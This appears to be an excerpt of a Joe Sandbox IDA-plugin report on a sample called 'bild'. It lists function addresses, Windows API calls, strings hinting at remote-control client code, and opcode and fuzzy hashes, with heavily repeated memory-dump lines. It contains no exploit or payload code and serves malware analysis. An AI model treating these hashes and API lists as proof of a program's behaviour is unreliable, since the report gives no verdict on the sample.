Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _strncpy$_free_malloc$ErrorFreeHeapLast
String ID:
API String ID: 1102513549-0
Opcode ID: 49d6ee828f48e7441e9132c75d4151723e4ca8f50ebe71d103648970c0ae2386
Instruction ID: 5b3f98012d02b14c7d353fffc6174d10c2b98c6782d71c8fdc241da8d4ec8af6
Opcode Fuzzy Hash: 49d6ee828f48e7441e9132c75d4151723e4ca8f50ebe71d103648970c0ae2386
Instruction Fuzzy Hash: 5A5152B5D04225AFDB20CF74CD84BCAFBECAF15348F004595998997240EBB5AA94CFE1

Function 1100D390 Relevance: 13.6, APIs: 9, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,11195920), ref: 1100D3A4
GetProcAddress.KERNEL32(00000000,11195910), ref: 1100D3B8
GetProcAddress.KERNEL32(00000000,11195900), ref: 1100D3CD
GetProcAddress.KERNEL32(00000000,111958F0), ref: 1100D3E1
GetProcAddress.KERNEL32(00000000,111958E4), ref: 1100D3F5
GetProcAddress.KERNEL32(00000000,111958C4), ref: 1100D40A
GetProcAddress.KERNEL32(00000000,111958A4), ref: 1100D41E
GetProcAddress.KERNEL32(00000000,11195894), ref: 1100D432
GetProcAddress.KERNEL32(00000000,11195884), ref: 1100D447

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 091c258913195d468f5e27a1e6f31e310fab824e6ee381838cf7674ab6c2accf
Instruction ID: 496fda0e4c6754f74ae7accc981fa1b683a1531f66a76574b420f2493807621a
Opcode Fuzzy Hash: 091c258913195d468f5e27a1e6f31e310fab824e6ee381838cf7674ab6c2accf
Instruction Fuzzy Hash: BC318A719222349FE756CBE5CCD5B7AFFE9A748B19B00417AD42083248E7B46840CF90

Function 11113150 Relevance: 13.6, APIs: 9, Instructions: 60COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000007), ref: 11113167
SelectObject.GDI32(00000000,00000000), ref: 11113176
SetBrushOrgEx.GDI32(?,00000000,00000000,00000000,?,11119DB4,?,00000001,00000001,00000000,1111E6D7,00000000,?,00000000), ref: 11113181
GetStockObject.GDI32(00000000), ref: 11113189
SelectObject.GDI32(?,00000000), ref: 11113192
GetStockObject.GDI32(0000000D), ref: 11113196
SelectObject.GDI32(00000000,00000000), ref: 1111319F
SelectClipRgn.GDI32(00000000,00000000), ref: 111131B3
SelectClipRgn.GDI32(?,?), ref: 111131D5

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Object$Select$Stock$Clip$Brush
String ID:
API String ID: 2690518013-0
Opcode ID: 03940d1c13920ebdd2799aeba9173fb3b73a5c49d6e66c97bce195a3b1bf9d70
Instruction ID: 6254f714a47a8412abfa64db40702d153c74c152478294c48941108971bda100
Opcode Fuzzy Hash: 03940d1c13920ebdd2799aeba9173fb3b73a5c49d6e66c97bce195a3b1bf9d70
Instruction Fuzzy Hash: CC114C71604214AFE320EFA9CC88F56F7E8AF48714F114529E698DB294C774E840CF60

Function 110B73D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 141synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

Part of subcall function 110B0260: _memset.LIBCMT ref: 110B026C
Part of subcall function 110B0260: _memset.LIBCMT ref: 110B029D

Part of subcall function 110B0AD0: timeGetTime.WINMM(_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B0AD6
Part of subcall function 110B0AD0: timeGetTime.WINMM(111F00F8,111E5C98,?), ref: 110B0BA5

WaitForSingleObject.KERNEL32(?,000000FA,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B743D
GetDC.USER32(00000000), ref: 110B7481
GetDeviceCaps.GDI32(00000000,0000000E), ref: 110B748C
GetDeviceCaps.GDI32(00000000,0000000C), ref: 110B7497
ReleaseDC.USER32(00000000,00000000), ref: 110B74A3

Part of subcall function 110B3090: SetEvent.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30A8
Part of subcall function 110B3090: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7594), ref: 110B30B5
Part of subcall function 110B3090: CloseHandle.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30C8
Part of subcall function 110B3090: CloseHandle.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30D5
Part of subcall function 110B3090: WaitForSingleObject.KERNEL32(?,000003E8,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30F3
Part of subcall function 110B3090: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7594), ref: 110B3100

Strings

_debug, xrefs: 110B73F4
TraceScrape, xrefs: 110B73E7

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandle$CapsDeviceObjectSingleTimeWait_memsettime$EventRelease__wcstoi64
String ID: TraceScrape$_debug
API String ID: 2936113293-4091781993
Opcode ID: 9cdd8e8a5d521a6398e64c309cb34abd0cea1cc8d3252b81e48429c5feacb1e5
Instruction ID: 6857b597a808110f0f281143ea82df92f461d6df4c4e0b5b1330fe4484300919
Opcode Fuzzy Hash: 9cdd8e8a5d521a6398e64c309cb34abd0cea1cc8d3252b81e48429c5feacb1e5
Instruction Fuzzy Hash: E941A679E042469BDB05CFB4C8D4FAFBBB5EB84704F1941ADE905AB285DA70EC04C7A4

Function 11027030 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122windowsleepCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11027053
TranslateMessage.USER32(?), ref: 11027081
DispatchMessageA.USER32(?), ref: 1102708B
Sleep.KERNEL32(000003E8), ref: 11027114
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 1102717A

Strings

Bridge, xrefs: 11027037
BridgeThread::Attempting to open bridge..., xrefs: 110270CE, 11027116

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$DispatchSleepTranslate
String ID: Bridge$BridgeThread::Attempting to open bridge...
API String ID: 3237117195-3850961587
Opcode ID: 0527f6f062edf77291c750114b7d9886b355368a75c305f9b203373b5eaba6dc
Instruction ID: 926780c6f4d8c8949c1ee256bdfa0d08ed5449f0693c43c0c5ab50156846c558
Opcode Fuzzy Hash: 0527f6f062edf77291c750114b7d9886b355368a75c305f9b203373b5eaba6dc
Instruction Fuzzy Hash: AB41B475D01626DBEB15CBEDCC84EBEBBB9AB54708F900169E92593244E735E500CBA0

Function 110B90A0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104timeCOMMON

Download Yara Rule

APIs

GetWindowPlacement.USER32(00000000,0000002C,110BFEBC,?,Norm,110BFEBC), ref: 110B90E4
MoveWindow.USER32(00000000,110BFEBC,110BFEBC,110BFEBC,110BFEBC,00000001,?,Norm,110BFEBC), ref: 110B9156
SetTimer.USER32(00000000,0000050D,000007D0,00000000), ref: 110B91B1

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110B90CA
m_hWnd, xrefs: 110B90CF
Norm, xrefs: 110B90B0
j CB::OnRemoteSizeNormal(%d, %d, %d, %d), xrefs: 110B9170

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Window$ErrorExitLastMessageMovePlacementProcessTimerwsprintf
String ID: Norm$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$j CB::OnRemoteSizeNormal(%d, %d, %d, %d)$m_hWnd
API String ID: 1092798621-1973987134
Opcode ID: bb4fee7a640cddfa8292c04b347aeb0b9ef3b046aecc10af90a567252941b4bf
Instruction ID: fa08d4082dbdb83dc84805081e5a13701295f49ac71a08f55a689e0031bf859b
Opcode Fuzzy Hash: bb4fee7a640cddfa8292c04b347aeb0b9ef3b046aecc10af90a567252941b4bf
Instruction Fuzzy Hash: 6A411DB5B0020AAFDB08DFA4C895EAEF7B5FF88304F104669E519A7644DB30B945CB90

Function 1112B340 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 1112A9E0: LoadLibraryA.KERNEL32(ws2_32.dll,00000000,?), ref: 1112AA16
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 1112AA33
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,WSACleanup), ref: 1112AA3D
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,socket), ref: 1112AA4B
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,closesocket), ref: 1112AA59
Part of subcall function 1112A9E0: GetProcAddress.KERNEL32(00000000,WSAIoctl), ref: 1112AA67
Part of subcall function 1112A9E0: FreeLibrary.KERNEL32(00000000), ref: 1112AADC

LoadLibraryA.KERNEL32(ws2_32.dll,?,?,00000000), ref: 1112B38A
GetProcAddress.KERNEL32(00000000,ntohl), ref: 1112B3A2
_calloc.LIBCMT ref: 1112B3AD
_free.LIBCMT ref: 1112B44B
FreeLibrary.KERNEL32(00000000), ref: 1112B462

Strings

ws2_32.dll, xrefs: 1112B385
ntohl, xrefs: 1112B39C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad$_calloc_free
String ID: ntohl$ws2_32.dll
API String ID: 2881363997-4165132517
Opcode ID: a62c3fe90116abab52543d5ca7f352ed5c693b003b457ddebdd86233b9ebb92f
Instruction ID: 62f3d354d7df00a53f20e52f5f0b7ab5f0e2fb1a0c0f97b8c5a029639f714dd3
Opcode Fuzzy Hash: a62c3fe90116abab52543d5ca7f352ed5c693b003b457ddebdd86233b9ebb92f
Instruction Fuzzy Hash: 67318D75E00229CBD7509F64CD80A9AF7B8FF48715F6081A6DC99A7200DF30AA858FD4

Function 1100F3D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100F3FD
std::_Lockit::_Lockit.LIBCPMT ref: 1100F420
std::bad_exception::bad_exception.LIBCMT ref: 1100F4A4
__CxxThrowException@8.LIBCMT ref: 1100F4B2
std::_Lockit::_Lockit.LIBCPMT ref: 1100F4C5
std::locale::facet::_Facet_Register.LIBCPMT ref: 1100F4DF

Strings

bad cast, xrefs: 1100F49C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: 01f71cc12634bd0a30440c36912b7c98b47e4755e7b052bf5bdff0cacdfadc3b
Instruction ID: 370362221ca7244b6b9d163162d4a533615f3e9481550f6b861c2319f727a088
Opcode Fuzzy Hash: 01f71cc12634bd0a30440c36912b7c98b47e4755e7b052bf5bdff0cacdfadc3b
Instruction Fuzzy Hash: 1D31A07AD042169FDB11DF94C890BAEF7B8FB04368F51426DEC61A7280DB71AD04CB92

Function 11105500 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 11105531
EnterCriticalSection.KERNEL32 ref: 11105548
GetTickCount.KERNEL32 ref: 1110554E
GetTickCount.KERNEL32 ref: 111055EB
LeaveCriticalSection.KERNEL32(111F060C), ref: 111055F8

Strings

Warning. took %d ms to get simap lock, xrefs: 1110555F
Warning. simap lock held for %d ms, xrefs: 11105609

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountTick$CriticalSection$EnterLeave
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock
API String ID: 956672424-625438208
Opcode ID: c1740793aff0a857699f8c8da11d168052976df0f5bdff16eb1b228a2dd960db
Instruction ID: 36f89d150e27e685f8f970f5604c93a837ba150e33a3fa1efe54dd65d22fc2b8
Opcode Fuzzy Hash: c1740793aff0a857699f8c8da11d168052976df0f5bdff16eb1b228a2dd960db
Instruction Fuzzy Hash: BA310475D042999FE315CF64C984F5AFBE6EB08328F154265E866EB290D731EC00CB90

Function 110F1270 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 85fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000), ref: 110F12C5
GetShortPathNameA.KERNEL32(?,?,00000104), ref: 110F12DA

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

CreateFileA.KERNEL32(?,00000000,00000000,00000000,00000000,04000000,00000000), ref: 110F1333
CreateFileA.KERNEL32(?,00000000,00000000,00000000,00000000,04000000,00000000), ref: 110F1378

Strings

nsmvxd.386, xrefs: 110F12FB
pcdvxd.386, xrefs: 110F133D
\\.\, xrefs: 110F12AB

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: File$CreateName$ModulePathShort_strrchr
String ID: \\.\$nsmvxd.386$pcdvxd.386
API String ID: 1318148156-3179819359
Opcode ID: 2f41f20b5722acf40c0130390847ae355a62842386f7592ccd3cf37bf6e28cb4
Instruction ID: ccc4368b31194543ced42f6667aa0c2d7b9d0de7acad865b100199d2ac62ce57
Opcode Fuzzy Hash: 2f41f20b5722acf40c0130390847ae355a62842386f7592ccd3cf37bf6e28cb4
Instruction Fuzzy Hash: E431C171A44725AFD724DF64D891B96F7F5EB08708F008168E2B88B6C0D3B1B984CB94

Function 1115F100 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetForegroundWindow.USER32(00000000), ref: 1115F12E

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

SystemParametersInfoA.USER32(00002000,00000000,00000001,00000000), ref: 1115F14F
SystemParametersInfoA.USER32(00002001,00000000,00000000,00000000), ref: 1115F15C
SetForegroundWindow.USER32(00000000), ref: 1115F162
SystemParametersInfoA.USER32(00002001,00000000,00000001,00000000), ref: 1115F177

Strings

..\ctl32\wndclass.cpp, xrefs: 1115F112
m_hWnd, xrefs: 1115F117

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: InfoParametersSystem$ForegroundWindow$ErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\wndclass.cpp$m_hWnd
API String ID: 3960414890-2201682149
Opcode ID: a1720cd828d96b31de3ae11535927becd6a6cc7cf2a6108b9844e59effaa0828
